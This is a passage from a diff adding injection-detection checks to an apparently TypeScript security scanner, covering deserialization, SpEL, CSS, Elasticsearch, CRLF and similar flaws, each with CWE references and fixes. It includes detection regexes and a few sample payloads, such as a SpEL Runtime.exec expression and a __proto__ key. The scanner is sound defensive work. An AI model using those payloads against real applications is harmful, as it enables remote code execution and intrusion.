"CWE-94 / ATT&CK T1059 — T(java.lang.Runtime).getRuntime().exec('id') achieves RCE via SpEL expression evaluation.",
|
|
644
|
+
"Fix: use a SimpleEvaluationContext with a restricted type locator, or validate input against a strict allowlist before evaluation."
|
|
645
|
+
]
|
|
646
|
+
};
|
|
647
|
+
}
|
|
648
|
+
async function checkPickleDeserialize() {
|
|
649
|
+
const hits = await codeSearch(String.raw `(?:pickle\.loads?\s*\(|cPickle\.loads?\s*\(|Marshal\.load\s*\(|joblib\.load\s*\(|torch\.load\s*\(|numpy\.load\s*\([^)]*allow_pickle\s*=\s*True)`);
|
|
650
|
+
if (!hits.length)
|
|
651
|
+
return null;
|
|
652
|
+
return {
|
|
653
|
+
id: "PICKLE_MARSHAL_DESERIALIZATION",
|
|
654
|
+
title: "Python pickle.loads/Marshal.load deserializes user data — RCE gadget chain risk (CWE-502)",
|
|
655
|
+
severity: "CRITICAL",
|
|
656
|
+
evidence: toEvidence(hits),
|
|
657
|
+
files: toFiles(hits),
|
|
658
|
+
requiredActions: [
|
|
659
|
+
"Never deserialize pickle, Marshal, or joblib data from untrusted sources — there is no safe way to sandbox pickle.loads.",
|
|
660
|
+
"CWE-502 / ATT&CK T1059 — a crafted pickle payload executes arbitrary Python via __reduce__ during deserialization.",
|
|
661
|
+
"Fix: use JSON or MessagePack with a strict schema; for ML models use ONNX or safetensors instead of torch.load/joblib.load."
|
|
662
|
+
]
|
|
663
|
+
};
|
|
664
|
+
}
|
|
665
|
+
async function checkJavaDeserialize() {
|
|
666
|
+
const hits = await codeSearch(String.raw `(?:new\s+ObjectInputStream\s*\(|readObject\s*\(\s*\)|readUnshared\s*\(\s*\)|XMLDecoder\s*\(|XStream\.fromXML\s*\(|Kryo\.readObject)`);
|
|
667
|
+
if (!hits.length)
|
|
668
|
+
return null;
|
|
669
|
+
return {
|
|
670
|
+
id: "JAVA_OBJECT_DESERIALIZATION",
|
|
671
|
+
title: "Java ObjectInputStream.readObject/XStream/Kryo deserializes untrusted data — gadget chain RCE (CWE-502)",
|
|
672
|
+
severity: "CRITICAL",
|
|
673
|
+
evidence: toEvidence(hits),
|
|
674
|
+
files: toFiles(hits),
|
|
675
|
+
requiredActions: [
|
|
676
|
+
"Avoid Java native deserialization from untrusted sources; use serialization filters (JEP 290) if unavoidable.",
|
|
677
|
+
"CWE-502 / ATT&CK T1059 — Apache Commons Collections gadget chains achieve RCE via ObjectInputStream.readObject().",
|
|
678
|
+
"Fix: replace with JSON/Protobuf; if ObjectInputStream is required, implement a strict allowlisting ObjectInputFilter."
|
|
679
|
+
]
|
|
680
|
+
};
|
|
681
|
+
}
|
|
682
|
+
async function checkCssInjection() {
|
|
683
|
+
const hits = await codeSearch(String.raw `(?:style\s*=\s*\{\{[^}]*(?:req\.|params\.|query\.)|createGlobalStyle` + "`" + String.raw `[^` + "`" + String.raw `]*\$\{(?:req|params|query)|css` + "`" + String.raw `[^` + "`" + String.raw `]*\$\{(?:req|params|query))`);
|
|
684
|
+
if (!hits.length)
|
|
685
|
+
return null;
|
|
686
|
+
return {
|
|
687
|
+
id: "CSS_INJECTION",
|
|
688
|
+
title: "User input in CSS-in-JS or style attribute — CSS injection enabling data exfiltration (CWE-79)",
|
|
689
|
+
severity: "HIGH",
|
|
690
|
+
evidence: toEvidence(hits),
|
|
691
|
+
files: toFiles(hits),
|
|
692
|
+
requiredActions: [
|
|
693
|
+
"Never interpolate user input directly into CSS-in-JS template literals or inline style attributes.",
|
|
694
|
+
"CWE-79 — CSS injection via expression() or url() can exfiltrate sensitive data to attacker-controlled servers.",
|
|
695
|
+
"Fix: validate CSS property values against a strict allowlist; never accept raw CSS strings from users."
|
|
696
|
+
]
|
|
697
|
+
};
|
|
698
|
+
}
|
|
699
|
+
async function checkElasticsearchInjection() {
|
|
700
|
+
const hits = await codeSearch(String.raw `(?:client\.search\s*\(|esClient\.search\s*\()[^)]*(?:req\.|body\.|params\.|query\.)|(?:query_string|script\.source)\s*:\s*(?:req\.|body\.|params\.|query\.)`);
|
|
701
|
+
if (!hits.length)
|
|
702
|
+
return null;
|
|
703
|
+
return {
|
|
704
|
+
id: "ELASTICSEARCH_INJECTION",
|
|
705
|
+
title: "Elasticsearch query_string or script.source uses user input — Painless script injection (CWE-943)",
|
|
706
|
+
severity: "HIGH",
|
|
707
|
+
evidence: toEvidence(hits),
|
|
708
|
+
files: toFiles(hits),
|
|
709
|
+
requiredActions: [
|
|
710
|
+
"Never pass user input directly to Elasticsearch query_string or script.source — use match/term queries with explicit field mapping.",
|
|
711
|
+
"CWE-943 — Elasticsearch Painless script injection via script.source can read cluster data or cause DoS.",
|
|
712
|
+
"Fix: use structured queries (match, term, range) with user input as values, never as query syntax; disable dynamic scripting."
|
|
713
|
+
]
|
|
714
|
+
};
|
|
715
|
+
}
|
|
716
|
+
async function checkWebSocketInjection() {
|
|
717
|
+
const hits = await codeSearch(String.raw `(?:ws\.on\s*\(\s*['"]message['"]|socket\.on\s*\(\s*['"]message['"])[\s\S]{0,300}(?:eval\s*\(|exec\s*\(|compile\s*\(|\.find\s*\(|\.query\s*\(|render\s*\()`);
|
|
718
|
+
if (!hits.length)
|
|
719
|
+
return null;
|
|
720
|
+
return {
|
|
721
|
+
id: "WEBSOCKET_MESSAGE_INJECTION",
|
|
722
|
+
title: "WebSocket message data passed to injection sinks without validation (CWE-20)",
|
|
723
|
+
severity: "HIGH",
|
|
724
|
+
evidence: toEvidence(hits),
|
|
725
|
+
files: toFiles(hits),
|
|
726
|
+
requiredActions: [
|
|
727
|
+
"Validate and sanitize all WebSocket message payloads before passing to eval, exec, DB query, or template sinks.",
|
|
728
|
+
"CWE-20 — WebSocket messages bypass HTTP-layer input validation; treat them as untrusted user input.",
|
|
729
|
+
"Fix: parse WebSocket messages with a strict Zod schema; never pass raw message data to eval(), exec(), or query functions."
|
|
730
|
+
]
|
|
731
|
+
};
|
|
732
|
+
}
|
|
733
|
+
async function checkBracketNotationPollution() {
|
|
734
|
+
const hits = await codeSearch(String.raw `\w+\s*\[\s*(?:req\.|body\.|params\.|query\.|key\b|prop\b|field\b)[^\]]*\]\s*=`);
|
|
735
|
+
const unsafe = hits.filter((h) => !/allowlist|allowedKeys|ALLOWED_KEYS|Object\.create\(null\)/.test(h.preview));
|
|
736
|
+
if (!unsafe.length)
|
|
737
|
+
return null;
|
|
738
|
+
return {
|
|
739
|
+
id: "BRACKET_NOTATION_POLLUTION",
|
|
740
|
+
title: "Dynamic property assignment with user-controlled key — prototype pollution via bracket notation (CWE-1321)",
|
|
741
|
+
severity: "HIGH",
|
|
742
|
+
evidence: toEvidence(unsafe),
|
|
743
|
+
files: toFiles(unsafe),
|
|
744
|
+
requiredActions: [
|
|
745
|
+
"Validate property keys against an explicit allowlist before dynamic assignment; use Object.create(null) for key-value stores.",
|
|
746
|
+
"CWE-1321 — obj[req.body.key] = value with key='__proto__' or 'constructor' pollutes the prototype chain.",
|
|
747
|
+
"Fix: const ALLOWED = new Set(['name','email']); if (!ALLOWED.has(key)) throw new Error('Invalid key');"
|
|
748
|
+
]
|
|
749
|
+
};
|
|
750
|
+
}
|
|
751
|
+
async function checkSseCrlfInjection() {
|
|
752
|
+
const hits = await codeSearch(String.raw `(?:res\.write\s*\(\s*[` + "`" + String.raw `'"]data:\s*\$\{|res\.write\s*\([^)]*(?:req\.|body\.|params\.|query\.)[^)]*(?:\\n|\\r))`);
|
|
753
|
+
if (!hits.length)
|
|
754
|
+
return null;
|
|
755
|
+
return {
|
|
756
|
+
id: "SSE_CRLF_INJECTION",
|
|
757
|
+
title: "SSE stream write with user input — CRLF injection into event stream (CWE-113)",
|
|
758
|
+
severity: "HIGH",
|
|
759
|
+
evidence: toEvidence(hits),
|
|
760
|
+
files: toFiles(hits),
|
|
761
|
+
requiredActions: [
|
|
762
|
+
"Strip or encode CRLF characters from user input before writing to SSE streams.",
|
|
763
|
+
"CWE-113 — CRLF injection into SSE data: fields can inject fake events or terminate the event stream.",
|
|
764
|
+
String.raw `Fix: const safe = userValue.replace(/[\r\n]/g, ' '); res.write('data: ' + safe + '\n\n');`
|
|
765
|
+
]
|
|
766
|
+
};
|
|
767
|
+
}
|
|
768
|
+
async function checkPdfDocInjection() {
|
|
769
|
+
const hits = await codeSearch(String.raw `(?:pdfmake\.createPdf|new\s+jsPDF|puppeteer\.goto|page\.goto|wkhtmltopdf|docxtemplater|new\s+PizZip)\s*\([^)]*(?:req\.|body\.|params\.|query\.|user\.)`);
|
|
770
|
+
if (!hits.length)
|
|
771
|
+
return null;
|
|
772
|
+
return {
|
|
773
|
+
id: "PDF_DOCUMENT_INJECTION",
|
|
774
|
+
title: "PDF/Office generation library uses user input — formula injection or SSRF via file:// URL (CWE-74)",
|
|
775
|
+
severity: "HIGH",
|
|
776
|
+
evidence: toEvidence(hits),
|
|
777
|
+
files: toFiles(hits),
|
|
778
|
+
requiredActions: [
|
|
779
|
+
"Sanitize user input before passing to PDF/Office generation libraries — strip formula-triggering characters (=, +, -, @) and validate URLs.",
|
|
780
|
+
"CWE-74 — formula injection in generated spreadsheets can execute commands when opened; file:// URLs in headless browsers cause SSRF.",
|
|
781
|
+
"Fix: prefix cell values starting with =,+,-,@ with a single quote; validate puppeteer URLs against an allowlist blocking file://, localhost."
|
|
782
|
+
]
|
|
783
|
+
};
|
|
784
|
+
}
|
|
785
|
+
async function checkHttpResponseSplitting() {
|
|
786
|
+
const hits = await codeSearch(String.raw `(?:writeHead\s*\(\s*\d+\s*,\s*(?:req\.|body\.|params\.)|headers\.set\s*\([^,]+,\s*(?:req\.|body\.|params\.))`);
|
|
787
|
+
const unsafe = hits.filter((h) => !/replace.*\\r|replace.*\\n|encodeURIComponent/.test(h.preview));
|
|
788
|
+
if (!unsafe.length)
|
|
789
|
+
return null;
|
|
790
|
+
return {
|
|
791
|
+
id: "HTTP_RESPONSE_SPLITTING",
|
|
792
|
+
title: "HTTP response splitting via writeHead or headers.set with user input (CWE-113)",
|
|
793
|
+
severity: "HIGH",
|
|
794
|
+
evidence: toEvidence(unsafe),
|
|
795
|
+
files: toFiles(unsafe),
|
|
796
|
+
requiredActions: [
|
|
797
|
+
"Strip CRLF characters from all user-controlled values before passing to writeHead or headers.set.",
|
|
798
|
+
"CWE-113 — HTTP response splitting via CRLF injection enables cache poisoning, XSS, and session fixation.",
|
|
799
|
+
String.raw `Fix: const safe = value.replace(/[\r\n]/g, ''); res.writeHead(200, { 'X-Header': safe });`
|
|
800
|
+
]
|
|
801
|
+
};
|
|
802
|
+
}
|
|
803
|
+
// ─────────────────────────────────────────────────────────────────────────────
|
|
804
|
+
export async function checkInjectionDeep(_opts) {
|
|
805
|
+
try {
|
|
806
|
+
const results = await Promise.all([
|
|
807
|
+
checkXxe(),
|
|
808
|
+
checkSsti(),
|
|
809
|
+
checkPrototypePollution(),
|
|
810
|
+
checkOpenRedirect(),
|
|
811
|
+
checkNosqlInjection(),
|
|
812
|
+
checkCrlfInjection(),
|
|
813
|
+
checkYamlUnsafeLoad(),
|
|
814
|
+
checkUnsafeDeserialize(),
|
|
815
|
+
checkPathTraversal(),
|
|
816
|
+
checkLogInjection(),
|
|
817
|
+
checkSsrfUserUrl(),
|
|
818
|
+
checkCommandInjection(),
|
|
819
|
+
checkRedos(),
|
|
820
|
+
checkJsonpCallbackInjection(),
|
|
821
|
+
checkEvalEncodedPayload(),
|
|
822
|
+
// New checks
|
|
823
|
+
checkSqlInjection(),
|
|
824
|
+
checkMongoAggregationInjection(),
|
|
825
|
+
checkLdapInjection(),
|
|
826
|
+
checkXpathInjection(),
|
|
827
|
+
checkJndiInjection(),
|
|
828
|
+
checkRedisEvalInjection(),
|
|
829
|
+
checkSecondOrderInjection(),
|
|
830
|
+
checkSstiJavaPhp(),
|
|
831
|
+
checkSpelOgnlInjection(),
|
|
832
|
+
checkPickleDeserialize(),
|
|
833
|
+
checkJavaDeserialize(),
|
|
834
|
+
checkCssInjection(),
|
|
835
|
+
checkElasticsearchInjection(),
|
|
836
|
+
checkWebSocketInjection(),
|
|
837
|
+
checkBracketNotationPollution(),
|
|
838
|
+
checkSseCrlfInjection(),
|
|
839
|
+
checkPdfDocInjection(),
|
|
840
|
+
checkHttpResponseSplitting(),
|
|
841
|
+
]);
|
|
842
|
+
return results.flat().filter((f) => f !== null);
|
|
843
|
+
}
|
|
201
844
|
catch (err) {
|
|
202
845
|
console.warn("[checkInjectionDeep] Internal error:", sanitizeErrorMessage(err instanceof Error ? err.message : String(err)));
|
|
846
|
+
return [];
|
|
203
847
|
}
|
|
204
|
-
return findings;
|
|
205
848
|
}
|